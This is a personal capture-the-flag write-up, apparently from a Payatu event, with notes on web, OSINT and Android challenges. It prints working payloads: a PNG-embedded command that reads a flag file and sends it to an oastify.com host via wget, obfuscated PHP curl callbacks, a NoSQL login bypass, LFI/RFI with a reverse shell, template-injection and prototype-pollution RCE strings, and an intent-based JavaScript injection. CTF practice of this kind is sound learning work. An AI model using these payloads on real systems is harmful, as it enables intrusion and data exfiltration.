Writeup

Author: redpwnda
Date: 28-Jun-2025

Discord verification flag:
PAYATU{d1sc0rd_v3r1f1ed_4nd_r34dy_t0_h4ck}

Web Issues

Secure Upload (Not solved)

Security Checks
Pasted image 20250628113654.png|600

Based on the article I used a valid png file and added a bash command in it as shown below:

python3 PCRT.py -i ../redpwnda.png -o ../redpwnda-output.png -p "\necho '/app/flag/flag.txt'\n"
python3 PCRT-3/PCRT.py -i redpwnda.png -o redpwnda-output.png -p '\nflag=`cat /app/flag/flag.txt|base64`; wget https://cs8quxtexrtsnsoghmn4hd96vx1opfd4.oastify.com/a?flag=$flag\n"'

Dirsearch results: got me /console page with 2kb size. (can't use it)

Current file upload gives this error.
Pasted image 20250628225951.png|300

Tried following methods and didn't worked

  1. PCRT-3 method shared in above article
  2. Adding PHP in comments. As shown in this article.
  3. REdoing pcrt method. While editing in burp repeater tab.
    1. <?call_user_func(str_rot13('fhyy_rkp'), 'curl http://7jrllsk9omknenfb8hez8801mssjge43.oastify.com');?> This worked but no callback
    2. <?${'_'.'POST'}[0]('curl http://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com');?> This also worked but no callback.
    3. <?curl$IFShttp://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com?> This too worked, but no callback.
    4. It seems PCRT method is wrong in some way. I should go back to comment method.
  4. Re-doing comment method. Using same payloads as above in comment. It passed too, but no call back.
    Pasted image 20250629003521.png|800
  5. Even if I reduce the content to extreme degree and change the extension to php. It works. I have tested the payload locally also, it works.
    Pasted image 20250629015355.png|800

Blind trust (Solved)

{ "username": "admin", "password": { "$ne": null } }

Inside Job (Solved)

A case of the inside job has surfaced. Can you uncover what’s hidden beneath the surface and crack the system from within—perhaps by digging into some overlooked metadata?

Travel Agency (Solved)

destinations from all over the world. The dev team recently added a ""preview template"" feature that dynamically loads different pages based on user selection. Everything looks smooth on the surface, but a careless implementation might have left the site vulnerable to more than just wanderlust... Can you dig into the source and go on a remote adventure to retrieve the flag?
[18:30:19] Scanning:
[18:30:32] 200 -   263B - /home.php
[18:30:32] 200 -    2KB - /index.php
[18:30:32] 200 -    2KB - /index.php/login/
[18:30:36] 403 -   280B - /server-status
[18:30:36] 403 -   280B - /server-status/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bandit Tours & Travel Agency</title>
    <!-- Bootstrap CSS -->
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container">
        <header class="my-4">
            <h1>Welcome to Bandit Tours & Travel Agency</h1>
            <p>Your one stop solution for booking one way flights, ground floor hotels, and domestic tours.</p>
        </header>

        <nav>
            <ul class="nav nav-pills">
                <li class="nav-item">
                    <a class="nav-link active" href="index.php?page=home.php">Home</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="index.php?page=flights.php">Book Flights</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="index.php?page=hotels.php">Find Hotels</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="index.php?page=tours.php">Explore Tours</a>
                </li>
            </ul>
        </nav>

        <hr>

        <div class="content mt-4">
            <?php
            // Vulnerable include logic
            if (isset($_GET['page'])) {
                $page = $_GET['page'];
                include($page);
            } else {
                echo "<p class='lead'>Welcome to TravelEasy! Please select an option from the menu.</p>";
            }
            ?>
        </div>
    </div>

    <!-- Bootstrap JS and Popper.js -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.11.6/umd/popper.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</body>
</html>
http://13.201.0.183:54674/index.php/index.php?page=php://filter/convert.base64-encode/resource=../../../var/www/html/index.php

What I did?

  1. Found LFI
  2. Used that LFI to look for internal files, it was hard, very hard. So tried RFI for webshell
  3. Webshell didn't worked, so then tried Revshell.
  4. Needed to host my file as well as a listener.
  5. So Used ngrok for revshell and Pinggy for hosting my file. Updated the details of ngrok by pinging it with ping command.

Pasted image 20250628191940.png|800

Secure Storage Vault (Not Solved)

The city has just rolled out a new secure file storage system for its citizens. Users can register, log in, and upload their files but are you sure it’s as secure as they claim? Explore the platform, uncover its flaws, and retrieve the flag hidden within the system.
//payload while fetchin blog
is_admin%5Bview%20options%5D%5Bclient%5D=true&settings%5Bview%20options%5D%5BescapeFunction%5D=1;return%20global.process.mainModule.constructor._load('child_process').execSync('$encoded_command');"

//payload while fetching blog
__proto__[toString]%3d<%25%3d+global.process.mainModule.require('child_process').execSync('id').toString()+%25>%26blog_name%3danyblog%3fblog_name%3dabout-secure-storage-vault 

//payload during registration
{
  "username": "test2",
  "password": "test",
  "__proto__": { "is_admin": true }
}

// Tried registration overwrite and mass assignment.
// Deserialization attempts in cookie payload.

Seal the deal (Not Solved)

You’ve landed on a basic login/signup portal. Everything looks simple — create an account, log in, view your profile. But there’s something... strange. Regular users don’t seem to have access to a certain hidden area. Rumor has it that someone managed to sneak their way into the admin zone — without hacking the front door. Can you figure out how to bend the system and take control?

OSINT (All Except Bonus)

Flight of the Lurk3r

The Lake below

The Town at the Edge

The Flight Code

https://velvetescape.com/plane-view-swiss-alps-lago-maggiore/

Tail code

Cryptic Phantom

Well from the first question we already know who the author is. We just have to figure out what are the things associated with him. Maybe twitter handle name or others.

The Phantom Behind the Lens

Baaa, this thing is still going on.

Mobile (All Except Gatekeeper)

Snorlex

Gatekeeper

Pathfinder

 # Doing inside root shell of android.
 am start -a android.intent.action.VIEW -d 'ctf://payatu/web?url=https://payatu.com%22);AndroidFunction.showFlag();//' com.ctf.pathfinder

Pasted image 20250628150054.png|200

WhereamI

Thor is looking for his brother. Maybe he should broadcast a message about finding his brother. Note that: When you click on the installed WhereAmI app, it will not open. This is intended behaviour.

AStrangeDoor

There's an enchantment on the Sanctum's door, Only known to magician's core, Hook it or flip the byte, Only brave should enter the might.